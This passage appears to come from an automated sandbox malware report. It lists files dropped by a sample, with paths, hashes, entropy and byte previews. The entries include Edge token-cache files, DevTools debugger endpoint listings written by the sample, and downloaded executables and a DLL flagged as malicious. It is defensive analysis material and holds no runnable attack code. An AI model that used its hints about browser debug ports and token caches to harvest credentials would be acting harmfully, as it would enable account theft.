Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.008390082327636
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXRNZEVY:YWLSGTt1o9LuLgfGBPAzkVj/T8lBNZEy
MD5:	7AB88406EF0562E8B85D53D55985D33F
SHA1:	92569171E011DC430EE3D3422AF0A51F84E073C1
SHA-256:	F6D595BE133855C69C9D2D4233F2908020CB4B7B73A1E54A65A9A8D5AAFFFE05
SHA-512:	71C1EA8BD774FC9E866466CB99381C530EFD0DC1BB5EE2559A0F84C1DD317F4C1BEE6D497142EA85F3C0D96D566868ABBDEC852CA8EFC8B5FBA3704AF6DE0176
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732040215660694}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e8583d5d-87ce-4b68-9dc3-a07099486573.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60352
Entropy (8bit):	6.101813529227374
Encrypted:	false
SSDEEP:	1536:1Mk1rT8HRnscCBS2qX7bGL90THV3ocgorQXdbi5:1MYrT8xbkS20W6TZWXdbW
MD5:	875CB6BD732D006DA3359060C7F09C98
SHA1:	6DFE0F78B55BC63836E407F8C925150715139956
SHA-256:	0019D7703DAD395CF43C9A1AA0BDFC994E5C366CD61374144B5BF97739EE97E2
SHA-512:	CA8AAB5ED945C27ECCC2D308A9EC54E08855F96D808C0C4AD5C37CE99E922260EFF1B7B13D7B4D255CEE73E60D57563164CF881E2B69D548B22335657BA249EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9bea936-7466-4d34-97c4-4e0923d7d046"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731939415"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e9f64990-9e2a-4150-8bdb-1939efa56ac8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58892
Entropy (8bit):	6.104752918550254
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynk/CBS2qX7bXwgorQXdbiR3oM:z/0+zI7ynwkS20pXdbe3
MD5:	B878C9516CCEB52C5E04537ACEB4388A
SHA1:	B4EF36017885E5888D15F74ADD0BB10E253BF55C
SHA-256:	7A526ECA14E6785455F169844839A82A9CFE9A9264D87C858ECD4C2AF357083D
SHA-512:	81EF357111E92E6C83EFC72EC34A81FE6CF9B9EFCDAC9D0307126810FA22B352EB77DC33105E56000F5F63C7053DFDCBCB2BD2113B9A5AAC87F5021A3EF9CAEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f6623ade-7295-4b9f-9b27-70167a519503.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60476
Entropy (8bit):	6.101750762451571
Encrypted:	false
SSDEEP:	1536:1Mk1rT8HvnVtCBS2qX7bGL90THV3ocgorQXdbi5:1MYrT8PTkS20W6TZWXdbW
MD5:	D081A827A36127981AAA91FDFAC58549
SHA1:	27AAA955233140DA1E518D48F0767A2E06EC8181
SHA-256:	E1A27086963DD918D6D8336055F064EAC7F3B4F2A47B83A22A26B1EDB73F02B5
SHA-512:	6794A4CB51C25C56FB1114D63EE6C0CD9276EF029A3F52D61DA8F9D93A726BC91C923738579884592A942178D4EEDE9ACC5CC70819C8A3EA4C2CA23CEAAB9BA5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9bea936-7466-4d34-97c4-4e0923d7d046"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731939415"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ff73b8b9-4ae0-44bc-a003-6e19a183cca6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58974
Entropy (8bit):	6.1047826772592675
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yO4cCBS2qX7bGLwgorQXdbiR3oM:z/0+zI7yOHkS20WlXdbe3
MD5:	3E845826DEE3541F34256999A4626A44
SHA1:	BF4719E0964893E009F6CA39241EFB77E10F4E98
SHA-256:	7A1443591D8C8A0C5BC628C942E373A874D7E882884EF68CC2F3D072B469A2B2
SHA-512:	80DADF39B1912DFBDC66BEA5EB7A94EB237EA9F832D51C061892E1B5E7E77E1D6FE3CBF501D92D699C72567ECA2018D8673D764CA013F4A1BAFB43AD5BCECAF9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.845631441505927
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxTjxl9Il8ugTch1FofyEjJsXb7cwSedzd1rc:muHYwc5c9sXbYnEU
MD5:	9C44C70ADBA69A8A78A64E820735021E
SHA1:	36DEFC62DC9D7AEDEA0FA272A6B39A9E160AAE5A
SHA-256:	9DC2376FF51AA6FB7421C998F2117D617D48B4E15F8ACE72CE2B5EA83FFD2512
SHA-512:	2810CF8A06318D29FE75FDCA485B160FC81B096772E6B42C8C4F05041C4F19EC61FDF870BDEDDA4503E60EA65D620CB3C1240F4F29B833C0A8DAD9841DA860F8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.H.d.z.5.s.w.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.G.M.d.w.g.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.004926541705436
Encrypted:	false
SSDEEP:	96:kYxXqxAeAXwLJ9QJBayhIr0xiT2Xo3+dz:kC3jB6r00SXo3+x
MD5:	3844E49CAB4F00542724821D7204F17D
SHA1:	310C5F9EFA54350ED531DCDC992C2823CA45AF71
SHA-256:	45F4205CC4112CD2C19D4695568A3360177565C848F155834F4944C4C408B43D
SHA-512:	8B38B86413243AECD17737C5B5E2105A0307A0EF6D4C3A22D35E406A950E8E05A296195624B672961065C85665AD4BED538F5A15CD308F7B0A789E6101C39667
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.0.M.4.z.M.Q.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.G.M.d.w.g.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.907418425561712
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xdMxl9Il8ugISYQK/hoAZrGA5ityNG+HbEoqugd/vc:avgY7EgqYvEoquZ
MD5:	8AA3A6D95DA786577F6B22E0C98B37AF
SHA1:	A47D391F003BBA4CFDDA772FB3A38DF30FD3A246
SHA-256:	72FC67B9C4EB3E644B0C32FC5BAE2767CEC5BDCCA7C1602E44D1841D90E8EEBF
SHA-512:	C8F5F6EC7CD08946A7E53E298B9E246C43AF7C53CDFDD2831ED667F73AD74AC778973BE7322C5EE8C291312851C9F83193216644FDCD7B7EB562696F116E304A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".D.F.g.h./.Z.V.Y.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.G.M.d.w.g.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.393080338850885
Encrypted:	false
SSDEEP:	96:6NnQCHQPNnQAxJbQA4NnQY9QxNnQddgEQ6NnQUQQNnQQDQkNnQEwQuNnQg3Qk:6NUNVxf4NYNM7N7N1/NryNR
MD5:	E80FA77562AF398FE4F2A28D512AB4BE
SHA1:	775E079756E78339A659839ABFE6F6C4261322D7
SHA-256:	23F61D42FB104F4BCCF7D57E65F5C72E430D35E9BC4CA570BC318B8163C4E02B
SHA-512:	853BD9606B029687BA1E0C61834928F1C963F4D30D27FBAE2596D08B561929762AF03D271DD182AF4BABF89877BAB01BD8192BAAF8455C07DA90EE91CA079F59
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/174D66FB666296908B7492BB1AEB37D1",.. "id": "174D66FB666296908B7492BB1AEB37D1",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/174D66FB666296908B7492BB1AEB37D1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9E1A8DA85D2D1F3EA9F2F9E2AC75EF57",.. "id": "9E1A8DA85D2D1F3EA9F2F9E2AC75EF57",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9E1A8DA85D2D1F3EA9F2F9E2AC75EF57"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4385792
Entropy (8bit):	7.982786996960705
Encrypted:	false
SSDEEP:	98304:qF7+e1ndBsTRtHf7wP7SE8SA63D1Qobj1Eo4gwR66O:qFqe16PHfW7p1TgA6O
MD5:	7AB5D123F1802A81990DAFB313DE5241
SHA1:	2137171E153CDCC672863A542760D19092EBC2C5
SHA-256:	E2E7FCAA5FAB8C489739C0AE362160A331AF4008B8310DC315D43D18925AB71C
SHA-512:	4515EA397407CE5B70B88639647D03DE0B2C6B6A10D1DC4CFB221C2DB6D7926EBFDFB88F5B36456B770FBA1A2083B4ADC04BE874B72482A967FDB8B4428ACFED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2...........H...@.................................E.C...@... ............................._pe.s...........................................................T....................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..7...e......~'.............@...htytndph.P...p...D....'.............@...bowzeile..............B.............@....taggant.0......"....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378966802593967
Encrypted:	false
SSDEEP:	48:SfNaoQq4qwTEQq4UfNaoQsQAfNaoQF1iqQFSfNaoQJKM+KMPik0UrU0U8QJK5:6NnQVqwTEQVANnQsQMNnQFkqQF6NnQ8D
MD5:	B16446CB1E16E5F9E8358CBB15D3D7FE
SHA1:	2B2F77BD61F4798F81572BB77F3A47F10574A663
SHA-256:	273618582F092DB7FBABCD9EF541586E4F201C162C2AD3C83ADBB3C0F10CC541
SHA-512:	D2197416791BB542FC7C7993EFE6CD9E28FFEB310B9C39B8EC0A72674F4D018EB4600A993410AD7DCB73A3A39A8119D89F7BBA91D65EF17ACFCE7FE9DC476541
Malicious:	false
